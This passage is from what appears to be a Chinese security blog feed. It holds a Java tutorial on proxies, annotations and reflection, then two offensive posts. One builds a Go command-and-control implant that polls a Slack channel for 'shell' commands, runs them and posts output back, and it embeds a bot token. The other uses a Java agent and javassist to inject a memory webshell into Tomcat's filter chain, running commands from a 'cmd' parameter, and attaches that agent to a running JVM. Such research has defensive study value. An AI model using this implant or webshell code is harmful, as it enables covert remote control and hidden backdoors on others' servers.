        System.out.println("房东要出租房子");
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830165318.png" alt="" /></p>
<ul>
<li>代理角色</li>
</ul>
<pre><code class="line-numbers">package ChaBugStudy;

public class Proxy implements Rent{

      private Host host;

      public Proxy(){

      }
      public Proxy(Host host){
          this.host = host;
      }

      public void rent(){
            seeHouse();
            host.rent();
            hetong();
            fare();
      }

      //看房

      public void seeHouse(){
            System.out.println("中介带你看房");
      }

      public void hetong(){
            System.out.println("签合同吧！");
      }
      //收中介费

      public void fare(){
            System.out.println("这房子不错，阔绰的你决定给点小费");
      }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830170321.png" alt="" /></p>
<ul>
<li>客户端访问代理角色</li>
</ul>
<pre><code class="line-numbers">public class Clinet {

    public static void main(String[] args) {
        Host host = new Host();
        Proxy proxy = new Proxy(host);

        proxy.rent();
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830170342.png" alt="" /></p>
<ul>
<li>运行一下看看效果</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200830170453.png" alt="" /></p>
<ul>
<li>缺点</li>
</ul>
<p><strong>一个真实对象需要产生一个代理</strong></p>
<h3>动态代理（先留着看完反射再看）</h3>
<ul>
<li>动态代理（这里是基于JDK动态代理）</li>
</ul>
<p><strong>一个动态代理类可以代理多个类，只要是实现了同一个接口</strong></p>
<ul>
<li>抽象角色</li>
</ul>
<pre><code class="line-numbers">public interface Rent {

   public void rent();
}
</code></pre>
<ul>
<li>真实角色</li>
</ul>
<pre><code class="line-numbers">public class Host implements Rent{

    public void rent(){
        System.out.println("房东要出租房子！");
    }
}
</code></pre>
<ul>
<li>代理角色</li>
</ul>
<pre><code class="line-numbers">import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Proxyhandler implements InvocationHandler {

    //被代理的接口

    Rent rent;
    public void setRent(Rent rent){
        this.rent = rent;
    }

    //生成得到代理类

    public Object getProxy(){
        return Proxy.newProxyInstance(this.getClass().getClassLoader(),rent.getClass().getInterfaces(),this);
    }

    // 处理代理实例，并返回结果

    public Object invoke(Object proxy, Method method,Object[] args) throws Throwable{
        Object result = method.invoke(rent,args);
        return result;
    }
}
</code></pre>
<ul>
<li>客户端（客户）角色</li>
</ul>
<pre><code class="line-numbers">import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class Clent {

    public static void main(String[] args) {
        //真实角色
        Host host = new Host();
        //代理角色

        Proxyhandler pih = new Proxyhandler();
        //通过调用程序处理角色来处理要调用的接口角色

        pih.setRent(host);

        Rent proxy = (Rent) pih.getProxy();

        proxy.rent();
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200902164704.png" alt="" /></p>
<h2>注解（Java.Annotation）</h2>
<ul>
<li>格式</li>
</ul>
<pre><code class="line-numbers">@注释名
</code></pre>
<ul>
<li>内置注解</li>
</ul>
<pre><code class="line-numbers">@Override
</code></pre>
<p><strong>定义在java.lang.Override中，表示重写</strong></p>
<pre><code class="line-numbers">Deprecated 
</code></pre>
<p><strong>定义在java.lang.Deprecated中，表示废弃，不鼓励使用，使用时会多一条横线，但依旧可以使用</strong></p>
<p><img src="/wp-content/uploads/2020/10/20200830182027.png" alt="" /></p>
<pre><code class="line-numbers">@SuppressWarnings 
</code></pre>
<p><strong>定义在java.lang.SuppressWarnings中，用来抑制编译时的警告信息</strong></p>
<p>使用前</p>
<p><img src="/wp-content/uploads/2020/10/20200830182927.png" alt="" /></p>
<p>使用后</p>
<p><img src="/wp-content/uploads/2020/10/20200830182950.png" alt="" /></p>
<h3>元注解</h3>
<ul>
<li>作用</li>
</ul>
<p><strong>注解其他注解</strong></p>
<ul>
<li>@Target(用于描述注解的使用范围)</li>
</ul>
<pre><code class="line-numbers">@MYAnnotation
public class ZhuJie {

    @MYAnnotation
    public static void main(String[] args) {

    }


}

//METHOD 方法、TYPE 类
@Target(value = {ElementType.METHOD,ElementType.TYPE})
@interface MYAnnotation{

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830185849.png" alt="" /></p>
<ul>
<li>@Retention(表示需要在什么级别保存该注释信息，用来描述注解的生命周期（SOURCE &lt; CLASS &lt; RUNTime）)</li>
</ul>
<pre><code class="line-numbers">@Retention(value = RetentionPolicy.RUNTIME)
</code></pre>
<ul>
<li>@Document(说明该注释将被包含在javadoc中)</li>
<li>@Inherited(说明该子类可以继承父类中的该注解)</li>
</ul>
<h3>自定义注解</h3>
<ul>
<li>@interface(自定义注解关键字)</p>
</li>
<li>
<p>格式</p>
</li>
</ul>
<pre><code class="line-numbers">public @interface 注解名{定义内容}
</code></pre>
<ul>
<li>自定义注解</li>
</ul>
<pre><code class="line-numbers">package ChaBugStudy;


import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;

@Syst1m(Team = "ChaBUg",Founder = "Y4er",brother = "syle")
public class ZhuJie {
    @Syst1m
    public static void main(String[] args) {
        System.out.println("ChaBug.Org");
    }


}


@Target(value = {ElementType.TYPE,ElementType.METHOD})
@Retention(RetentionPolicy.RUNTIME)
@interface Syst1m{

    String Team() default "ChaBug";
    String Founder() default "Y4er";
    String brother() default "Syle";

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830192315.png" alt="" /></p>
<h2>反射（Reflection）</h2>
<ul>
<li>正常方式</li>
</ul>
<p><strong>引入需要的“包类”名称-）通过new实例化-〉取得实例化对象</strong></p>
<ul>
<li>反射方式</li>
</ul>
<p><strong>实例化对象->getclass()方法->取得完整的“包类”名称</strong></p>
<ul>
<li>优缺点</li>
</ul>
<p>可以实现动态创建对象和编译，体现出很大的灵活性。</p>
<p>对性能有影响，慢于直接操作</p>
<ul>
<li>主要API</li>
</ul>
<pre><code class="line-numbers">java.lang.class  代表一个类
java.lang.reflect.Method  代表类的方法
java.lang.reflect.Field 代表类的成员变量
java.lang.reflect.Constructor 代表类的构造器
</code></pre>
<ul>
<li>获取class类的几种方式</li>
</ul>
<p><strong>常用方法</strong></p>
<p><img src="/wp-content/uploads/2020/10/20200901184138.png" alt="" /></p>
<pre><code class="line-numbers">package ChaBugStudy;

public class Reflection {
    public static void main(String[] args) throws ClassNotFoundException {
        Person person = new Student();

        //方式一：通过对象获得
        Class c1 = person.getClass();
        System.out.println(c1.hashCode());

        //方式二：forname获得

        Class c2 = Class.forName("ChaBugStudy.Person");
        System.out.println(c2.hashCode());

        //方式三 通过类名.class

        Class c3 = Person.class;
        System.out.println(c3.hashCode());

        //方式四 内置类型的包装类

        Class c4 = Integer.TYPE;
        System.out.println(c4.hashCode());

        //获取父类

        Class c5 = c1.getSuperclass();
        System.out.println(c5.hashCode());

    }
}

class Person{
    String name;

    public Person(){

    }

    public Person(String name){

    }

    @Override
    public String toString(){
        return name;
    }
}

class Student extends Person{
    public Student(){
        this.name = "学生";
        }
}


class Teacher extends Person{
    public Teacher(){
        this.name = "老师";
        }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200901201630.png" alt="" /></p>
<ul>
<li>哪些类型可以有Class对象</li>
</ul>
<p>**<br />
class<br />
interface接口<br />
[]数组<br />
enum枚举<br />
注解@interface<br />
基本数据类型<br />
void<br />
**</p>
<pre><code class="line-numbers">    Class c1 = Object c1 = Object.class; //类
    Class c2 = Comparable.class; //接口
    Class c3 = String[].class; //数组
    Class c4 = Override.class; //注解
    Class c5= ElementType.class; // 枚举
    Class c6 = Integer.class; // 基本数据
    Class c7 = void.class; //void
    Class c8 = Class.class; //CLass
</code></pre>
<ul>
<li>获取运行时类的完整结构</li>
</ul>
<p><strong>获取类的名字</strong></p>
<pre><code class="line-numbers">c1.getName() 获取包名加类名
c1.getSimpleName() 获得类名
</code></pre>
<p><strong>获得类的属性</strong></p>
<pre><code class="line-numbers">Field[] field = c1.getFields() 只能获取public属性
fields = c1.getDeclaredFields() 找到全部的属性
</code></pre>
<p><strong>获得指定属性的值</strong></p>
<pre><code class="line-numbers">Field name = c1.getDeclaredField("name")
</code></pre>
<p><strong>获得类的方法</strong></p>
<pre><code class="line-numbers">Method[] methods = c1.getMethods(); 获得本类以及父类的全部public方法

methods = c1.getDeclaredMethods(); 获得本类的所有方法
</code></pre>
<p><strong>获得指定方法</strong></p>
<pre><code class="line-numbers">Method getname = c1.getMethod("getname",null)
Method serName = c1.getMethod("setname",String.class)
</code></pre>
<p><strong>获得构造器</strong></p>
<pre><code class="line-numbers">Constructor[] constructors = c1.getConstructors();
for (Constructor constructor:constructors){
    System.out.println(construcior)}

constructors = c1.getDeclaredConstructors();
</code></pre>
<p><strong>获得指定构造器</strong></p>
<pre><code class="line-numbers">c1.getDeclaredConstructor(String.class,int.class)
</code></pre>
<ul>
<li>动态创建对象执行方法</li>
</ul>
<p><strong>获得对象</strong></p>
<pre><code class="line-numbers">Class c1 = Class.forname("XXX")
</code></pre>
<p><strong>构造对象</strong></p>
<pre><code class="line-numbers">User user = (User) c1.nerInstance(); 无参构造器
</code></pre>
<p>通过构造器创建对象</p>
<pre><code class="line-numbers">Constructor constructor = c1.getDeclaredConstructor(String.class)
User user2 = (USer)constructor.nerInstance("Syst1m")
</code></pre>
<p><strong>反射调用普通方法</strong></p>
<pre><code class="line-numbers">User user3 = (User)c1.nerInstance();
Method serName = c1.getDeclaredMethod("setName",Strind.class);
setName.invoke(User3,"syst1m");
</code></pre>
<p><strong>反射操作属性</strong></p>
<p>不能直接操作私有属性，需要关闭安全检测</p>
<pre><code class="line-numbers">User user4 = (User)c1.nerInstance();
Field name = c1.getDeclaredFields();

name.setAccessible(true) //关闭权限检测
name.set(User4,"syst1m");
</code></pre>
<ul>
<li>参考</li>
</ul>
<pre><code class="line-numbers">https://blog.csdn.net/lililuni/article/details/83449088
</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>golang利用slack编写C2</title>
		<link>/web/1926.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 03 Oct 2020 16:36:04 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[golang]]></category>
		<category><![CDATA[Slack]]></category>
		<guid isPermaLink="false">/?p=1926</guid>

					<description><![CDATA[最近在学golang，恰好看到demon分析的golang slack c2，便想着自己也来写一写。 配置slack 注册账号什么的就不说了。访问 https://api.slac...]]>/</description>
										<content:encoded><![CDATA[<p>最近在学<span class="wpcom_tag_link"><a href="/tags/golang" title="golang" target="_blank">golang</a></span>，恰好看到demon分析的golang slack c2，便想着自己也来写一写。</p>
<h1>配置slack</h1>
<p>注册账号什么的就不说了。访问 https://api.slack.com/ 点击 <code>Start Building</code><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/dc3e5b61-4384-6b3c-0bf6-3c850bcd4716.png" alt="image.png" /></p>
<p>创建一个app<br />
<img src="/wp-content/uploads/2020/10/ea267bba-e73e-0625-3680-b40a02c7c70f.png" alt="image.png" /></p>
<p>左侧<code>OAuth &amp; Permissions</code> -> <code>Scopes</code> 配置token权限，暂时先配置两个，之后用哪个再加。</p>
<p><img src="/wp-content/uploads/2020/10/aea99b7f-6fed-a6f8-079b-bf48c2667ac6.png" alt="image.png" /></p>
<p>然后往上翻点<code>Install App to Workspace</code></p>
<p><img src="/wp-content/uploads/2020/10/697544f1-e014-6fb9-8504-173932481567.png" alt="image.png" /></p>
<p>点allow，然后会自动跳转到token界面，记住这个token。</p>
<p><img src="/wp-content/uploads/2020/10/84e2a010-7c5f-0bfa-9a48-970282378400.png" alt="image.png" /></p>
<pre><code class="language-text line-numbers">xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S
</code></pre>
<p>创建一个channel<br />
<img src="/wp-content/uploads/2020/10/fade1c37-c2f2-2a59-4786-b8bdd3ed7f9b.png" alt="image.png" /></p>
<p>记住你的channel链接<code>https://app.slack.com/client/T01C58MD8L9/C01BS6GEUJH</code>中的<code>C01BS6GEUJH</code><br />
<img src="/wp-content/uploads/2020/10/eb1412aa-4741-2fcd-e50f-9ab3f5117882.png" alt="image.png" /></p>
<p>通过 <code>/invite @myslackbot</code>把bot加到频道里。</p>
<p>然后在<code>https://api.slack.com/methods</code>是操作bot的所有api，先用<code>https://api.slack.com/methods/conversations.history/test</code>测试下获取聊天记录</p>
<p>配置好token和channel ID<br />
<img src="/wp-content/uploads/2020/10/5281e9f3-f145-d07d-e334-367dc2fd3bc9.png" alt="image.png" /></p>
<p>点test之后获取到聊天记录<br />
<img src="/wp-content/uploads/2020/10/cd6fd11a-84fa-eb73-a34b-4baa8f4d36b1.png" alt="image.png" /></p>
<p><img src="/wp-content/uploads/2020/10/b68b1d1c-37b9-40f9-e99a-82cefdd50251.png" alt="image.png" /></p>
<p>简单的流程知道了，接下来通过golang来操作api，以及编写我们的<span class="wpcom_tag_link"><a href="/tags/c2" title="C2" target="_blank">C2</a></span>。</p>
<h1>golang编写</h1>
<pre><code class="language-go line-numbers">package main

import (
    "fmt"
    "github.com/tidwall/gjson"
    "io/ioutil"
    "net/http"
    "os"
    "os/exec"
    "strings"
    "time"
)

const (
    History_api = "https://slack.com/api/conversations.history"
    PostMessage = "https://slack.com/api/chat.postMessage"
    Token       = "xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S"
    Channel     = "C01BS6GEUJH"
)

func main() {
    for true {
        time.Sleep(time.Second * 10)
        result := getHistory()
        if strings.HasPrefix(result.Str, "shell") {
            cmdRes := ExecCommand(strings.Split(result.Str, " ")[1])
            putRes(cmdRes)
        } else if strings.HasPrefix(result.Str, "exit") {
            os.Exit(0)
        } else {
            fmt.Println("no command")
        }
    }
}

func getHistory() (result gjson.Result) {
    req, err := http.NewRequest("GET", History_api, nil)
    if err != nil {
        return gjson.Result{}
    }
    q := req.URL.Query()
    q.Add("token", Token)
    q.Add("channel", Channel)
    q.Add("pretty", "1")
    q.Add("limit", "1")
    req.URL.RawQuery = q.Encode()

    resp, err := http.DefaultClient.Do(req)
    if err != nil {
        return gjson.Result{}
    }
    defer resp.Body.Close()
    byte, _ := ioutil.ReadAll(resp.Body)
    result = gjson.GetBytes(byte, "messages.0.text")
    return
}

func putRes(res string) {
    req, err := http.NewRequest("POST", PostMessage, nil)
    if err != nil {
        return
    }
    p := req.URL.Query()
    p.Add("token", Token)
    p.Add("channel", Channel)
    p.Add("pretty", "1")
    p.Add("text", res)
    req.URL.RawQuery = p.Encode()
    resp, err := http.DefaultClient.Do(req)
    defer resp.Body.Close()
    if err != nil {
        return
    }

}

func ExecCommand(command string) (out string) {
    cmd := exec.Command(command)
    o, err := cmd.CombinedOutput()

    if err != nil {
        out = fmt.Sprintf("shell run error: n%sn", err)
    } else {
        out = fmt.Sprintf("combined out:n%sn", string(o))
    }
    return
}
</code></pre>
<p>看下效果</p>
<p>https://www.bilibili.com/video/BV1uk4y1C7oP/</p>
<p>自己偷偷摸摸实现了很多功能，就不放了，通过slack的API可以做很多事情。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java Agent实现反序列化注入内存shell</title>
		<link>/audit/1920.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 01 Oct 2020 14:43:33 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1920</guid>

					<description><![CDATA[简述内存shell Java内存shell有很多种，大致分为： 动态注册servlet 动态注册filter 动态注册listener 基于Java agent拦截修改关键类字节码...]]></description>
										<content:encoded><![CDATA[<h1>简述<span class="wpcom_tag_link"><a href="/tags/%e5%86%85%e5%ad%98shell" title="内存shell" target="_blank">内存shell</a></span></h1>
<p>Java内存<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>有很多种，大致分为：</p>
<ol>
<li>动态注册servlet</li>
<li>动态注册filter</li>
<li>动态注册listener</li>
<li>基于Java <span class="wpcom_tag_link"><a href="/tags/agent" title="agent" target="_blank">agent</a></span>拦截修改关键类字节码实现内存shell</li>
</ol>
<p>前三种方法在 <a class="wp-editor-md-post-content-link" href="https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w">《JSP Webshell那些事 &#8212; 攻击篇(下)》</a> 一文中均有讲解，但是前三种方法均需要对中间件大量调试，反射调用一步一步的链条，对于大型中间件比如weblogic这种比较麻烦，无法实现一套代码通用。</p>
<p>那么本文将要讲解的最后一种方法，通过拦截修改关键类的字节码，只需要寻找到关键类做处理即可，进而最大程度实现一套代码通用（理论上）。</p>
<h1>简单认识Java Agent</h1>
<p>在jdk的rt.jar包中存在一个<code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.lang.instrument</code>包，该包提供了一些工具帮助开发人员在 Java 程序运行时，动态修改系统中的 Class 类型。其中，使用该软件包的一个关键组件就是 Javaagent。从名字上看，似乎是个 Java 代理之类的，而实际上，他的功能更像是一个Class 类型的转换器，他可以在运行时接受重新外部请求，对Class类型进行修改。</p>
<p>Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包，并且对该 java 包有2个要求：<br />
1. 这个 jar 包的 <code>MANIFEST.MF</code> 文件必须指定 <code>Premain-Class</code> 项。<br />
2. <code>Premain-Class</code> 指定的那个类必须实现 premain() 方法。</p>
<p>JVM启动时会优先加载agent里面的东西，我们写一个简单的agent来看一下。</p>
<p>项目结构</p>
<pre><code class="language-bash line-numbers">└───src
    └───org
        └───chabug
                Agent.java
                DefineTransformer.java
</code></pre>
<p>org.chabug.Agent.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agentArgs : " + agentArgs);
        inst.addTransformer(new DefineTransformer(), true);
    }
}
</code></pre>
<p>org.chabug.DefineTransformer.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println("premain load Class:" + className);
        return new byte[0];
    }
}
</code></pre>
<p>然后配置打包文件<code>srcMETA-INFMANIFEST.MF</code></p>
<pre><code class="language-yaml line-numbers">Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: org.chabug.Agent

</code></pre>
<p>idea打包为jar文件之后，创建一个新的类<code>org.chabug.Main</code>测试agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) {
        System.out.println("thisismain");
    }
}
</code></pre>
<p>idea设置运行时vm参数<code>-javaagent:outartifactsTestAgent_jarTestAgent.jar</code><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/aabc9058-b9af-8553-d97b-974d8bcc5a82.png" alt="image.png" /></p>
<p>运行结果</p>
<pre><code class="language-text line-numbers">agentArgs : null
premain load Class:java/util/concurrent/ConcurrentHashMap$ForwardingNode
premain load Class:sun/misc/URLClassPath$JarLoader$2
premain load Class:java/util/jar/Attributes
premain load Class:java/util/jar/Manifest$FastInputStream
premain load Class:java/lang/StringCoding
premain load Class:java/lang/StringCoding$StringDecoder
premain load Class:java/util/jar/Attributes$Name
premain load Class:sun/misc/ASCIICaseInsensitiveComparator
premain load Class:com/intellij/rt/execution/application/AppMainV2$Agent
premain load Class:com/intellij/rt/execution/application/AppMainV2
premain load Class:com/intellij/rt/execution/application/AppMainV2$1
premain load Class:java/lang/reflect/InvocationTargetException
premain load Class:java/lang/NoSuchMethodException
premain load Class:java/net/Socket
premain load Class:java/net/InetSocketAddress
premain load Class:java/net/SocketAddress
premain load Class:java/net/InetAddress
premain load Class:java/net/InetSocketAddress$InetSocketAddressHolder
premain load Class:sun/security/action/GetBooleanAction
premain load Class:java/lang/invoke/MethodHandleImpl
premain load Class:java/net/InetAddress$1
premain load Class:java/lang/invoke/MethodHandleImpl$1
premain load Class:java/lang/invoke/MethodHandleImpl$2
premain load Class:java/util/function/Function
premain load Class:java/net/InetAddress$InetAddressHolder
premain load Class:java/net/InetAddress$Cache
premain load Class:java/net/InetAddress$Cache$Type
premain load Class:java/net/InetAddressImplFactory
premain load Class:java/lang/invoke/MethodHandleImpl$3
premain load Class:java/lang/invoke/MethodHandleImpl$4
premain load Class:java/lang/ClassValue
premain load Class:java/net/Inet6AddressImpl
premain load Class:java/lang/ClassValue$Entry
premain load Class:java/net/InetAddressImpl
premain load Class:java/lang/ClassValue$Identity
premain load Class:java/lang/ClassValue$Version
premain load Class:java/lang/invoke/MemberName$Factory
premain load Class:java/net/InetAddress$2
premain load Class:java/lang/invoke/MethodHandleStatics
premain load Class:sun/net/spi/nameservice/NameService
premain load Class:java/lang/invoke/MethodHandleStatics$1
premain load Class:java/net/Inet4Address
premain load Class:java/net/SocksSocketImpl
premain load Class:java/net/SocksConsts
premain load Class:sun/misc/PostVMInitHook
premain load Class:java/net/PlainSocketImpl
premain load Class:sun/misc/PostVMInitHook$2
premain load Class:java/net/AbstractPlainSocketImpl
premain load Class:jdk/internal/util/EnvUtils
premain load Class:sun/misc/PostVMInitHook$1
premain load Class:java/net/SocketImpl
premain load Class:java/net/SocketOptions
premain load Class:sun/usagetracker/UsageTrackerClient
premain load Class:java/net/AbstractPlainSocketImpl$1
premain load Class:java/util/concurrent/atomic/AtomicBoolean
premain load Class:sun/usagetracker/UsageTrackerClient$1
premain load Class:java/net/PlainSocketImpl$1
premain load Class:sun/usagetracker/UsageTrackerClient$4
premain load Class:sun/misc/FloatingDecimal
premain load Class:sun/usagetracker/UsageTrackerClient$2
premain load Class:sun/misc/FloatingDecimal$ExceptionalBinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIConverter
premain load Class:sun/usagetracker/UsageTrackerClient$3
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$1
premain load Class:sun/misc/FloatingDecimal$PreparedASCIIToBinaryBuffer
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryConverter
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryBuffer
premain load Class:java/net/DualStackPlainSocketImpl
premain load Class:java/lang/StringCoding$StringEncoder
premain load Class:java/net/Inet6Address
premain load Class:java/io/FileOutputStream$1
premain load Class:java/net/Inet6Address$Inet6AddressHolder
premain load Class:sun/launcher/LauncherHelper
premain load Class:java/net/SocksSocketImpl$3
premain load Class:sun/nio/cs/MS1252
premain load Class:java/net/ProxySelector
premain load Class:sun/nio/cs/SingleByte
premain load Class:sun/net/spi/DefaultProxySelector
premain load Class:sun/nio/cs/SingleByte$Decoder
premain load Class:sun/net/spi/DefaultProxySelector$1
premain load Class:sun/net/NetProperties
premain load Class:sun/net/NetProperties$1
premain load Class:org/chabug/Main
premain load Class:sun/launcher/LauncherHelper$FXHelper
premain load Class:java/util/Properties$LineReader
premain load Class:java/lang/Class$MethodArray
premain load Class:java/lang/Void
thisismain
premain load Class:java/lang/Shutdown
premain load Class:java/net/URI
premain load Class:java/lang/Shutdown$Lock
</code></pre>
<p>可以看到agent的<code>org.chabug.Agent#premain</code>优于Main方法而先被运行，并且在<code>org.chabug.DefineTransformer#transform</code>获取到了JVM加载的类。</p>
<p>那么思路回到内存shell的思路中，如果我们把这个agent加载到jvm中，那么就可以通过javassist进行字节码插桩，修改tomcat的filter实现类，从而实现内存马。</p>
<p>现在的问题就在于：</p>
<ol>
<li>javassist 应该修改哪个关键类？</li>
<li>如何指定运行时tomcat的<code>-javaagent</code>参数？</li>
<li>如何修改tomcat运行后已经加载的类？</li>
<li>如何通过<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>注入</li>
</ol>
<h1>寻找关键类</h1>
<p>tomcat filter内存shell有无数的分析文章，其中大部分都提到了一个关键类<code>org.apache.catalina.core.ApplicationFilterChain#doFilter</code><br />
<img src="/wp-content/uploads/2020/10/02f7b000-46b4-ebb6-208c-fbc57bd4fab2.png" alt="image.png" /></p>
<p>该方法有ServletRequest和ServletResponse两个参数，里面封装了请求的request和response。另外，internalDoFilter方法是自定义filter的入口，如果在这里拦截，那么filter既通用，又不影响正常业务。</p>
<p>来写agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class MyAgent {
    // tomcat FilterChain
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();

        for (int i = 0; i &lt; loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception var9) {
                    var9.printStackTrace();
                }
            }
        }
//        System.out.println("agent done");
    }

    public static void premain(String args, Instrumentation inst) throws Exception {

    }
}
</code></pre>
<p>定义transform</p>
<pre><code class="language-java line-numbers">package org.chabug;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace('/', '.');

        if (className.equals(ClassName)) {
//            System.out.println(":::::::::::::::::::find shiro ApplicationFilterChain:" + className);
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }
            CtClass cc;
            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;n" +
                        "            javax.servlet.ServletResponse res = response;" +
                        "String cmd = req.getParameter("cmd");n" +
                        "if (cmd != null) {n" +
                        "Process process = Runtime.getRuntime().exec(cmd);n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(n" +
                        "new java.io.InputStreamReader(process.getInputStream()));n" +
                        "StringBuilder stringBuilder = new StringBuilder();n" +
                        "String line;n" +
                        "while ((line = bufferedReader.readLine()) != null) {n" +
                        "stringBuilder.append(line + '\n');n" +
                        "}n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());n" +
                        "res.getOutputStream().flush();n" +
                        "res.getOutputStream().close();n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
//                System.out.println("error:::::::::::::::::::::" + e.getMessage());
            }
        }

        return new byte[0];
    }
}
</code></pre>
<h1>如何指定<code>-javaagent</code>参数</h1>
<p>tomcat运行前我们无法控制命令行参数，但是运行时JVM提供了<code>com.sun.tools.attach.VirtualMachine</code>的api，可以通过这个类attach jvm，然后通过<code>loadAgent()</code>函数把agent加载进去。</p>
<p>然后在这里又碰到了坑，<code>com.sun.tools.attach.VirtualMachine</code>这个类是JDK的<code>C:Program FilesJavajdk1.8.0_251libtools.jar</code>包中，在tomcat运行时是jre环境，获取不到这个类。我的办法是通过URLClassLoader加载<code>java.home</code>拼接出来的jar包路径，然后反射获取类和方法。</p>
<p>实现代码</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) throws Exception {
        if (args.length == 0) {
            return;
        }
        String agentPath = args[0];
        try {
            java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
            java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
            java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
            add.setAccessible(true);
            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
            Class&lt;?&gt; MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class&lt;?&gt; MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
            java.util.List&lt;Object&gt; invoke = (java.util.List&lt;Object&gt;) list.invoke(null, new Object[]{});
//            System.out.println(invoke);

            for (int i = 0; i &lt; invoke.size(); i++) {
                Object o = invoke.get(i);
                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
                Object name = displayName.invoke(o, new Object[]{});
                System.out.println(String.format("find jvm process name:[[[" +
                        "%s" +
                        "]]]", name.toString()));
                if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});
                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});
                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
                    loadAgent.invoke(machine, new Object[]{agentPath});
